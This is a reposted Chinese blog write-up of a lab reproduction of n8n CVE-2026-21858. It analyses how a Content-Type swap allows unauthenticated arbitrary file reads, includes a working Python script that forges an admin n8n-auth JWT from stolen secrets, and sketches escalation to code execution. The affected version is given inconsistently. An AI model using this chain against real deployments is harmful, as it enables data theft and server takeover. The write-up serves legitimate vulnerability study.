CVE复现|CVE-2026-21858复现(含环境)

admin 2026-05-06 05:11:27 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档详细分析了N8N自动化平台CVE-2026-21858漏洞的成因与复现过程。漏洞源于1.121.0版本前对Webhook请求的输入验证不足,未授权攻击者可通过修改Content-Type头绕过表单节点权限控制,实现任意文件读取并升级至RCE。关键发现包括:parseRequestBody函数未验证内容类型导致req.body.files被恶意控制、formWebhook函数缺乏安全检查。文档提供了完整的环境搭建步骤、漏洞原理分析、PoC利用方法及缓解建议。 综合评分: 85 文章分类: 漏洞分析,WEB安全,应急响应,红队,实战经验


cover_image

CVE复现 | CVE-2026-21858复现(含环境)

原创

LRT凌日 LRT凌日

凌日网络与信息安全团队LapR1skT

2026年5月5日 12:02 重庆

在小说阅读器读本章

去阅读

免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

一、环境搭建

cmd执行git clone https://github.com/Chocapikk/CVE-2026-21858.git。

然后可以选择使用docker build 或者 docker compose 都行

1. docker build&nbsp;-t&nbsp;<镜像名>.

3. docker compose up&nbsp;-d

然后访问本地的5678端口前者的话记得docker run 一下。

二、漏洞描述

1. N8N是AI和AI代理时代构建自动化工作流程的首选平台。拥有超过一亿次Docker拉取、数百万用户和数千家企业在使用它,n8n已成为自动化基础设施的中枢神经系统,你的组织很可能也会使用它。
2. N8N&nbsp;提供了友好的拖拽界面和无数集成,让即使是技术最低限的用户也能创建自动化和卸载任务。
3. 如果你能想象,你大概可以用n8n来建造。

在其 1.121.0 之前的版本中,存在一个输入验证错误漏洞(CVE-2026-21858)。由于系统未对 Webhook 请求及表单节点输入进行充分校验,未经身份认证的用户可通过公开的表单型工作流节点,绕过权限控制机制,直接访问服务器上的敏感文件。

受影响版本

n8n版本<1.21.0。

漏洞原理

在n8n的工作流程中使用webhook作为起点来接受入站数据,然后将接受到的入站数据传给parseRequestBody()的一个函数,这里给出函数源码

1. /**
2. * Parses the request body (form, xml, json, form-urlencoded, etc.) if needed
3. * into the `req.body` property.
4. */
5. async&nbsp;function&nbsp;parseRequestBody(req:WebhookRequest,...){
6. // truncated for clarity
7. const{&nbsp;contentType&nbsp;}=&nbsp;req;
8. if(contentType&nbsp;==='multipart/form-data'){
9. req.body&nbsp;=&nbsp;await parseFormData(req);// populates req.body.data, req.data.files
10. }else{
11. if(
12. contentType?.startsWith('application/json')||
13. contentType?.startsWith('text/plain')||
14. contentType?.startsWith('application/x-www-form-urlencoded')||
15. contentType?.endsWith('/xml')||
16. contentType?.endsWith('+xml')
17. ){
18. await parseBody(req);// populates req.body.data
19. }
20. }
21. }

这个函数相当于是识别请求头然后进行分类并且把解码后的结果塞到req.body(全局变量)中去,对于表单数据请求,它使用parseFormData函数。对于所有其他内容类型,它使用parseBody函数相当于就是把数据做了分类给其他函数进行进一步的处理。关键在于他会把结果存储到req.body这是个全局变量。接着他的文件上传部分是parseFormData(文件上传解析器),这个函数实际上是Formidable。

1. Formidable是一个Node.js库,专门用于处理文件上传。
2. 它解析多部分/表单数据请求,处理所有文件上传机制——包括安全方面。
3. 这里重要的安全细节是——当Formidable处理上传文件时,它会自动将其保存到临时目录中随机生成的路径。这意味着用户无法控制文件最终到达的位置,从而防止路径穿越攻击。

关键在于这个解析函数会用Formidable的解析输出结果给到req.body.files而不是给req.boy。所以整个流程是webhook接受数据然后给parseRequestBody()函数去判断是不是表单数据如果是就交给parseFormData不是就交给parseBody然后通过各自的解析将结果输出给req.body或req.body.file 等全局变量

1. ┌───────────────────────┐
2. │Webhook节点│←接收外部入站数据(POST请求)
3. └───────────┬───────────┘
4. │
5. ▼
6. ┌───────────────────────┐
7. │&nbsp; parseRequestBody()│←核心解析入口函数
8. └───────────┬───────────┘
9. │
10. ▼
11. 读取请求头Content-Type
12. │
13. ┌─────┴─────┐
14. ▼▼
15. ┌────────────┐┌─────────────────────────────────┐
16. │是&nbsp;multipart/││其他类型(JSON/XML/表单/文本)│
17. │&nbsp;form-data?│││
18. └──────┬──────┘└───────────────┬─────────────────┘
19. ││
20. ▼▼
21. ┌────────────────┐┌────────────────┐
22. │&nbsp;parseFormData()││&nbsp;parseBody()│
23. │(基于Formidable)│││
24. └────────┬───────┘└────────┬───────┘
25. ││
26. ▼▼
27. ┌────────────────────┐┌────────────────────┐
28. │结果存入:││结果存入:│
29. │&nbsp;req.body.data &nbsp; &nbsp; &nbsp;││&nbsp;req.body.data &nbsp; &nbsp; &nbsp;│
30. │&nbsp;req.body.files &nbsp; &nbsp;&nbsp;│││
31. └────────────────────┘└────────────────────┘

在 n8n 中,任何文件处理函数的标准做法是直接从req.body.file获取上传的文件。

1. async webhook(ctx:IWebhookFunctions):Promise<IWebhookResponseData>{
2. // truncated for clarity
3. if(enableStreaming){
4. if(req.contentType&nbsp;==='multipart/form-data'){
5. returnData&nbsp;=[await&nbsp;this.handleFormData(ctx)];// <---- right here
6. }else{
7. returnData&nbsp;=[{&nbsp;json:&nbsp;bodyData&nbsp;}];
8. }
9. // ...
10. }
11. // ....
12. }

这个很好看了吧,他把表单数据交给handleFormData来处理。那么正常的逻辑是上传文件然后分类到parseFormData函数然后交给req.body.files然后再被文件处理函数接受到handleFormData。那我们接着看handleFormData函数是什么逻辑。

1. private&nbsp;async handleFormData(context:IWebhookFunctions){
2. const&nbsp;req&nbsp;=&nbsp;context.getRequestObject()asMultiPartFormData.Request;
3. const{&nbsp;data,&nbsp;files&nbsp;}=&nbsp;req.body;// <--- fetch files
4. // truncated for clarity
5. if(files&nbsp;&&Object.keys(files).length){
6. // file processing logic
7. }
8. return&nbsp;returnItem;
9. }

他定义了data和files两个字段来存储req.body中得到的结果,而我们知道req.body是经过非表单数据提交得到的数据。那么也就是说我们如果通过改包让最开始的分类逻辑调用的是parseBody()函数。那么正常来说他应该是有req.body.data这个数据对吧,而files是空的才对。那如果我们传入了一个json串那么它的files会被覆盖掉吗?答案是肯定的。借鉴一下大佬的图(真的讲的很清楚)

处理表单提交的函数是formWebhook

1. export&nbsp;async&nbsp;function&nbsp;formWebhook(context:IWebhookFunctions,...){
2. // ...
3. const&nbsp;req&nbsp;=&nbsp;context.getRequestObject();// fetch request object
4. const&nbsp;method&nbsp;=&nbsp;context.getRequestObject().method;

6. // Show the form on GET request
7. if(method&nbsp;==='GET'){
8. // ...
9. }

11. // process form on POST request
12. // no verification of the Content-Type (!)
13. const&nbsp;returnItem&nbsp;=&nbsp;await
14. prepareFormReturnItem(context,formFields,mode,useWorkflowTimezone);

16. return{
17. webhookResponse:{&nbsp;status:200},
18. workflowData:[[returnItem]],
19. };
20. }

我们直接来看关键的prepareFormReturnItem()函数

1. export&nbsp;async&nbsp;function&nbsp;prepareFormReturnItem(
2. context:IWebhookFunctions,
3. // ... 其他参数省略
4. ){
5. // truncated for clarity
6. const&nbsp;req&nbsp;=&nbsp;context.getRequestObject();
7. const&nbsp;files&nbsp;=&nbsp;req.body.files;// <-- fetches req.body.files
8. let&nbsp;fileCount&nbsp;=0;

10. if(files&nbsp;&&Object.keys(files).length){
11. // no files, return
12. }

14. for(const&nbsp;file of files){
15. returnItem.binary![fileCount++]=&nbsp;await context.nodeHelpers.copyBinaryFile(
16. file.filepath,
17. file.originalFilename,
18. file.mimetype
19. );
20. }
21. }

这是一个文件处理函数,调用 req.body.files 中的每个文件 copyBinaryFile() 。

copyBinaryFile() 函数将文件从其临时路径(存储在 req.body.files[id].filepath)复制到持久存储——根据配置,可以存储在磁盘或 S3 对象存储中。

问题在于:由于调用该函数时未验证内容类型是multipart/form-data,我们控制的是整个req.body.files对象。

这意味着我们控制的是文件路径参数——所以我们不是复制已上传的文件,而是可以从系统中复制任何本地文件。 结果呢?Form节点之后的任何节点都会接收本地文件的内容,而不是用户上传的内容。

三、漏洞复现

1. 作者设置的未授权api是/form/vulnerable-form

这里说一下我遇到的小问题,右下角有个LF,如果你是Windows的话他是CRLF,这个时候要打开vscode把右下角点一下然后更换成LF就可以了。

然后访问作者给的未授权api。

和我们之前说的一样,抓包改包content type改为json串格式然后成功读取到etc/passwd。当然这是任意文件读取,那么接下来把他上升到rce。

RCE

N8N将认证会话存储在一个名为“N8N-Auth”的Cookie中。 登录成功后,n8n会通过特定流程生成该Cookie值。 首先,它创建一个包含关键用户信息的词典——用户ID和SHA256哈希的前10个字符。 这个哈希值是通过连接用户邮箱和密码的字符串计算出来的。

1. 首先,所有用户记录都存储在&nbsp;n8n&nbsp;的数据库中,该数据库在本地部署中存储在磁盘上(如Docker或源码安装)。
2. 例如,在Docker部署中,数据库位于/home/node/.n8n/database.sqlite。

其次,加密密钥存储在配置文件中,配置文件也存储在本地部署中。配置位置是 /home/node/.n8n/config。

读取config在root下面。

读取environ。

如果是docker搭建这里环境中database.sqlite是在/root/.n8n/下面的。

1. import&nbsp;hashlib
2. import&nbsp;jwt
3. from&nbsp;base64&nbsp;import&nbsp;b64encode

5. def&nbsp;generate_n8n_admin_token(uid,&nbsp;email,&nbsp;pw_hash,&nbsp;encryption_key):
6. # 1. 派生签名密钥 (Secret Derivation)
7. # 逻辑:取 encryptionKey 的每隔一个字符,然后进行 SHA256 并转为十六进制
8. sliced_key&nbsp;=&nbsp;encryption_key[::2]
9. secret&nbsp;=&nbsp;hashlib.sha256(sliced_key.encode()).hexdigest()

11. # 2. 计算 Payload 中的 hash 字段
12. # 逻辑:将 email 和 password_hash 拼接,进行 SHA256,Base64 编码后取前 10 位
13. hash_input&nbsp;=&nbsp;f"{email}:{pw_hash}".encode()
14. hash_digest&nbsp;=&nbsp;hashlib.sha256(hash_input).digest()
15. h_claim&nbsp;=&nbsp;b64encode(hash_digest).decode()[:10]

17. # 3. 构造 Payload
18. payload&nbsp;={
19. "id":&nbsp;uid,
20. "hash":&nbsp;h_claim
21. }

23. # 4. 使用 HS256 算法和派生的 secret 进行签名
24. token&nbsp;=&nbsp;jwt.encode(payload,&nbsp;secret,&nbsp;algorithm="HS256")

26. return&nbsp;token,&nbsp;secret,&nbsp;h_claim

28. # 输入参数
29. target_id&nbsp;="6dfdc046-c3b2-4a24-895a-aa8861f42fe1"
30. target_email&nbsp;="[email protected]"
31. target_pw_hash&nbsp;="$2a$10$thRakOhxmhH6bmEI1z9BpOmdfQcIy21gspPPtplBE0.8EqwteET2e"
32. target_enc_key&nbsp;="oG5MjnMemT3nZQzpkMjWdilbM++7Xgvl"

34. # 执行生成
35. token,&nbsp;derived_secret,&nbsp;derived_hash&nbsp;=&nbsp;generate_n8n_admin_token(
36. target_id,&nbsp;target_email,&nbsp;target_pw_hash,&nbsp;target_enc_key
37. )

39. print("-"*30)
40. print(f"[*] 派生密钥 (Secret): {derived_secret}")
41. print(f"[*] 载荷哈希 (Hash Claim): {derived_hash}")
42. print(f"[*] 生成的 JWT Token:\n{token}")
43. print("-"*30)
44. print(f"使用方法: \n在请求头中添加: Cookie: n8n-auth={token}")

这里借鉴一下大佬的脚本,记得把参数替换成自己读取到的,然后去登陆页面改n8n-auth的值就可以进了。这里就不过多展示了。

然后点击”Add workflow”

搜索manual trigger

点击右边那个加号(你刚刚创建的东西的右边那个)然后找到edit fields

add然后选expression。

四、参考文章

https://github.com/wioui/n8n-CVE-2025-68613-exploit

https://www.cyera.com/research/ni8mare-unauthenticated-remote-code-execution-in-n8n-cve-2026-21858#the-final-piece-code-execution-2

免责声明:由于传播、利用本公众号凌日网络与信息安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号凌日网络与信息安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:凌日网络与信息安全团队LapR1skT LRT凌日 LRT凌日《CVE复现 | CVE-2026-21858复现(含环境)》

大喜 网络安全文章

大喜

文章总结: 综合评分: 0 文章分类: 其他大喜 Khan安全团队 2026年5月5日 21:03 广东 在小说阅读器读本章 去阅读免责声明:本文所载程序、技术
五四杂言 网络安全文章

五四杂言

文章总结: 本文以练武不练功,到老一场空为引,结合作者30年IT领域经验,强调基础学科知识(如硬件、网络、数据结构等)在网络安全等IT领域中的核心重要性。文章指
评论:0   参与:  0